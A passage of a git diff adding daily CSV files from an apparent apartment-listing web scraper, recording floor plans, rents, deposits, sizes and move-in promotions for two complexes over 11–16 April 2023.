Bath,"$2,868",$300,785 sq.ft.,None,N/A +20230411,talisman,1x1 Loft Plus,2 Bed 2 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230411,talisman,1x1 Plus,2 Bed 2 Bath,"$2,750",$300,935 sq.ft.,None,N/A +20230411,talisman,Traditional Two Bedroom,2 Bed 2 Bath,"$2,959",$300,1131 sq.ft.,None,N/A +20230411,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230411,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230411,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230411,modera,S01,Studio / 1 ba,"Starting from $1,874/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,A16D,1 bd/1 ba,"Starting from $2,885/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,B01,2 bd/2 ba,"Starting from $3,396/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,B03,2 bd/2 ba,"Starting from $3,517/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230411,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230412.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230412.csv new file mode 100644 index 00000000000..336c7b95e10 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230412.csv @@ -0,0 +1,27 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230412,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230412,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230412,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230412,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230412,talisman,Loft One Bedroom,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230412,talisman,AL2,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230412,talisman,1x1 Loft Plus,2 Bed 2 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230412,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230412,talisman,Traditional Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1131 sq.ft.,None,N/A +20230412,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230412,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230412,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230412,modera,S01,Studio / 1 ba,"Starting from $1,874/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,A16D,1 bd/1 ba,"Starting from $2,885/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,B01,2 bd/2 ba,"Starting from $3,396/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,B03,2 bd/2 ba,"Starting from $3,517/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230412,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230413.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230413.csv new file mode 100644 index 00000000000..0ad113d5f38 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230413.csv @@ -0,0 +1,28 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230413,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230413,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230413,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230413,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230413,talisman,Loft One Bedroom,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230413,talisman,AL2,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230413,talisman,1x1 Loft Plus,2 Bed 2 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230413,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230413,talisman,Traditional Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1131 sq.ft.,None,N/A +20230413,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230413,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230413,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230413,modera,S01,Studio / 1 ba,"Starting from $1,874/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,A16D,1 bd/1 ba,"Starting from $2,885/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,B01,2 bd/2 ba,"Starting from $3,371/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,B03,2 bd/2 ba,"Starting from $3,517/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230413,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230414.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230414.csv new file mode 100644 index 00000000000..bf88cd95ec1 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230414.csv @@ -0,0 +1,30 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230414,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230414,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230414,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230414,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230414,talisman,Loft One Bedroom,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230414,talisman,AL2,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230414,talisman,1x1 Loft Plus,2 Bed 2 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230414,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230414,talisman,Traditional Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1131 sq.ft.,None,N/A +20230414,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230414,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230414,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230414,modera,S01,Studio / 1 ba,"Starting from $1,874/month",$300,477+,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,S02,Studio / 1 ba,"Starting from $2,070/month",$300,498+,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,A16D,1 bd/1 ba,"Starting from $2,915/month",$300,882,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,B01,2 bd/2 ba,"Starting from $3,233/month",$300,961,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,B03,2 bd/2 ba,"Starting from $3,386/month",$300,"1,039+",/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,B05,2 bd/2 ba,"Starting from $3,427/month",$300,"1,124+",/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,B07,2 bd/2 ba,"Starting from $3,445/month",$300,"1,233",/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230414,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 8 weeks for free! Valid From : Apr 14, 2023 Up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230415.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230415.csv new file mode 100644 index 00000000000..f7b4ade52bd --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230415.csv @@ -0,0 +1,30 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230415,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230415,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230415,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230415,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230415,talisman,Loft One Bedroom,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230415,talisman,AL2,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230415,talisman,1x1 Loft Plus,2 Bed 2 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230415,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230415,talisman,Traditional Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1131 sq.ft.,None,N/A +20230415,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230415,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230415,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230415,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,A09,1 bd/1 ba,"Starting from $2,412/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,A12,1 bd/1 ba,"Starting from $2,536/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,A16D,1 bd/1 ba,"Starting from $2,915/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,B01,2 bd/2 ba,"Starting from $3,126/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,B03,2 bd/2 ba,"Starting from $3,286/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,B05,2 bd/2 ba,"Starting from $3,327/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,B07,2 bd/2 ba,"Starting from $3,345/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230415,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230416.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230416.csv new file mode 100644 index 00000000000..5fa8607e900 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230416.csv @@ -0,0 +1,30 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230416,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230416,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230416,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230416,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230416,talisman,Loft One Bedroom,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230416,talisman,AL2,1 Bed 1 Bath,ContactUs,$300,785 sq.ft.,None,N/A +20230416,talisman,1x1 Loft Plus,2 Bed 2 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230416,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230416,talisman,Traditional Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1131 sq.ft.,None,N/A +20230416,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230416,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230416,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230416,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,A09,1 bd/1 ba,"Starting from $2,403/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,A12,1 bd/1 ba,"Starting from $2,536/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us 